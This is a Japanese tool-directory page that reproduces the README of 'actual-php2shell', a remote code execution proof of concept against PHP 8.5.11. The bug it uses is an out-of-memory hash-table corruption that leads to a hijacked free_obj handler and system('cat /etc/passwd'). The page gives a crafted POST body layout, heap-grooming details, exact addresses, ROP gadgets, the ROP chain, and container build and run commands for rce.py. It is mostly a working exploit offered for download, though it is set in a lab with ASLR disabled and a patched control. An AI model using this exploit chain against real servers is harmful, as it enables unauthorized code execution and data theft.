Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
actual-php2shell — 🤖 いいえ、この脆弱性を悪用する簡単な方法があります!(主張を証明するためにvibecodeされたもの) | Kitploit
ツール/GitHubGitHub/cookiengineer/actual-php2shell
コンテナセキュリティメモリフォレンジック脆弱性分析エクスプロイトリバースエンジニアリングシェルコード論文と研究バイナリエクスプロイト
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 いいえ、この脆弱性を悪用する簡単な方法があります!(主張を証明するためにvibecodeされたもの)

リポジトリを見る
17615時間5分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

actual-php2shell

PHP 8.5.11(2026年10月のアドバイザリ)に対する、再現可能かつアプリケーション非依存のリモートコード実行PoCです。2026年のPHPメモリ破壊に関する2件のアドバイザリを、アプリケーションコードを一切使わずに system("cat /etc/passwd") へと変換します。被害者の index.php は単に ok を出力するだけです。

  • CVE-2026-109618 — OOM時の longjmp が構築途中の HashTable を放棄し、シャットダウン時に破棄されるダングリングバケットを残します。これがRCEのプリミティブです。
  • CVE-2026-109619 — リクエスト所有のエラー状態(致命的エラーのバックトレース)がリクエストシャットダウン後も存続し、次のリクエストによって再解放されます。これが情報漏洩/ASLRバイパスのプリミティブです(ここでは別のデモとして扱います)。

すべてPodmanコンテナ内で完全に再現可能です。確認済みのエンドツーエンドの結果は、./exploits/cve-2026-109618-oom/rce.py が /etc/passwd を読み取るというものです。


1. 脆弱性(CVE-2026-109618)

PHPがメモリを使い果たすと、zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp)を呼び出します。8.5.11では、ハッシュテーブルの挿入がアロケーション失敗に対応していないため、OOMによって HashTable が中途半端に変更された状態で巻き戻される可能性があります。

破壊が発生する箇所は _zend_hash_str_add_or_update_i() の add_to_hash(Zend/zend_hash.c:960)です:

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

キーのコピー zend_string_init が OOM になると、バケット p は書き込まれないまま (key/h/val はすべて古い値のまま) になりますが、nNumUsed はすでにインクリメントされています。リクエスト シャットダウン時に zend_array_destroy() が nNumUsed 個のバケットを走査し、 書き込まれていないバケットのゴミ val — 攻撃者が整形した値 — に対して i_zval_ptr_dtor(&p->val) を呼び出します。8.5.12 の修正では、そのようなすべてのアロケーションを 失敗可能な変種 (femalloc/fperealloc2 + HASH_FALLIBLE) に置き換えることで、 挿入が bail out するのではなく正常にリターンするようにしています。

2. オブジェクトグラフ / ヒープ・フェンスイのバランス

このエクスプロイトは、制御された 1 つの 2560 バイトブロックを、最後のバケットが OOM バケットである HashTable の arData にすることを完全に目的としています。バランスを取る必要があった 値とその理由は次のとおりです:

型 / 変数サイズ役割
zend_array (HashTable) ヘッダ56 BarData、nNumUsed、nTableSize、pDestructor
Bucket32 Bval(16) + h(8) + key(8)。書き込まれないものが我々のターゲット
zval16 Bvalue(8) + u1.type_info(4) + u2(4) — 我々が type_info を設定する
zend_string24 B ヘッダ + データパディング値。その長さがアロケータのビンを決める
zend_object56 B偽オブジェクト: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj がピボットガジェット
zend_mm_heap / zend_mm_chunk—free_slot[]、free_tail、map[] (ビン 28 = 2560 B)

フェンスイ全体が依拠する 2 つのアロケータの事実:

  1. 64 バケットのテーブルの arData はちょうど 2560 バイト = ビン 28 (HT_SIZE_EX(64) = 64*32 バケット + 128*4 ハッシュ = 2560)、なぜなら HT_SIZE_TO_MASK(n) = -(2n) だからです。
  2. b150 (走査される) と b0e0 (破棄される) は $_POST["a"] の 2 つのコピーであり、 シンボルテーブルの SEPARATE_ARRAY/間接パスによって作成されます。各 a[<large>][c]=v フィールドは <large> キーを両方に挿入し、b0e0 は 常に 1 キー先行しています。php_request_shutdown によって破棄されるのは b150 のみなので、 OOM は b150 で発生しなければなりません。

3. 完全なチェーン (rce.py を参照)

リクエストボディは urlencoded の POST です:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift(約40 KB) は、OOMフィールドの最初の挿入時、すなわち破棄された b0e0 ではなく**b150**(走査対象のテーブル)への挿入時にOOMが発火するのに十分なだけのメモリを消費します。
  2. pad=<2528 B>: add_post_var は estrndup(A) を実行し、続いて ZVAL_STRINGL_FAST(B, copy) を実行します。実測では B = padlen + 32 であるため、padlen=2528 とすると A = 2529、B = 2560 となり、両方とも bin 28 になります。A は estrndup の経路で解放されます。
  3. pad=x(重複キー) は保持されたコピー B を DTOR し、2つ目の 別個の bin-28 スロットを解放します。これで b150 の 32→64 リサイズが B を再利用し、制御された バイト列が b150 の arData になります。
  4. pad バイト列はペイロードを arData の制御されたテール(バケット 46–63、生オフセット ≥ 1984)に配置します — オフセット 0x100 ではありません。そこは zend_hash_rehash によって書き換えられるハッシュ 配列です。
  5. 未書き込みのバケット(生オフセット 1952 = pad オフセット 1928)は IS_OBJECT に設定され、value.obj = &fake_object となります。
  6. シャットダウン時にこれが走査されます: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt")。続く GET /leak.txt でファイルが返されます。

実際のデバッグ時間を要した2つの微妙な要件(いずれも rce.py 内):

  • 偽オブジェクト/ROP は arData のテールに置く必要があります。pad オフセット 0x100 は ハッシュ配列であり、上書きされてしまいます。
  • __libc_system は movaps(16バイトアラインメント)を使用するため、pop rdi; ret と system の間に 余分な ret ガジェットを挿入します — そうしないと execve の前に __libc_system 内部で SIGSEGV が発生します。

4. 対象アドレス(ASLR 無効、setarch -R)

php-rce-oom-debug:8.5.11(ベース php-rce-base:8.5.11)に対して測定。libphp/libc のベースは ベースビルド間で同一です。ヒープオフセット B はインストールされたライブラリによって 変動する(gdb のインストールで移動した)ため、異なる イメージでは B を再測定するか、ASLR 有効時は情報リーク経由で解決してください。

シンボルアドレス
libphp ベース0x7ffff4400000
libc ベース0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
メインチャンク ([anon:zend_alloc])0x7ffff7200000
B (arData 生ブロック = b150->arData - 512)0x7ffff725e400
偽ハンドラB + 24 + 2000 = 0x7ffff725ebe8
偽オブジェクトB + 24 + 2048 = 0x7ffff725ec18
cmd 文字列B + 24 + 2200 = 0x7ffff725ecb0

ROP チェーン(偽オブジェクト o からの相対):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. 再現

Podman が必要です。リポジトリのルートから:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

予想される出力:

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

その他のデモ

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh

6. リポジトリのレイアウト

affected-versions/          vendored vulnerable PHP tarballs (8.2.34/8.3.35/8.4.26/8.5.11)
patched-versions/           vendored patched 8.5.12 tarball (negative control)
references/                 the two GHSA advisories + the 2004 Esser advisory + php-bug-78876
container/
  base/                     shared Apache 2.4 + PHP build (parameterized by version)
  cve-2026-109618-oom/      OOM victim (memory_limit=8M) + gdb debug layer
  cve-2026-109619-stale-state/   stale-backtrace UAF victim + gdb debug layer
  cve-2026-109619-info-leak/     info-leak / ASLR-bypass victim
  negative-control/         patched 8.5.12, same config
exploits/
  lib/client.py             raw-socket HTTP client (controlled framing)
  cve-2026-109618-oom/      exploit.py (trigger), stalealias.py, rce.py, trace.py/trace.sh
  cve-2026-109619-stale-state/   producer/consumer/exploit/rop/leak + run.sh + trace.sh
  cve-2026-109619-info-leak/     leak.py + run.sh
  negative-control/
docs/
  attack-surface.md         exact vulnerable source locations
  memory-layout.md          measured object graph + ROP + addresses
  heap-feng-shui.md         the grooming progress log (§8.8–8.16 is the RCE chain)
  info-leak.md              the info-leak / ASLR-bypass primitive
  exploit-plan.md / implementation-plan.md / tasks.md

7. スコープ / 注意事項

ツールをダウンロード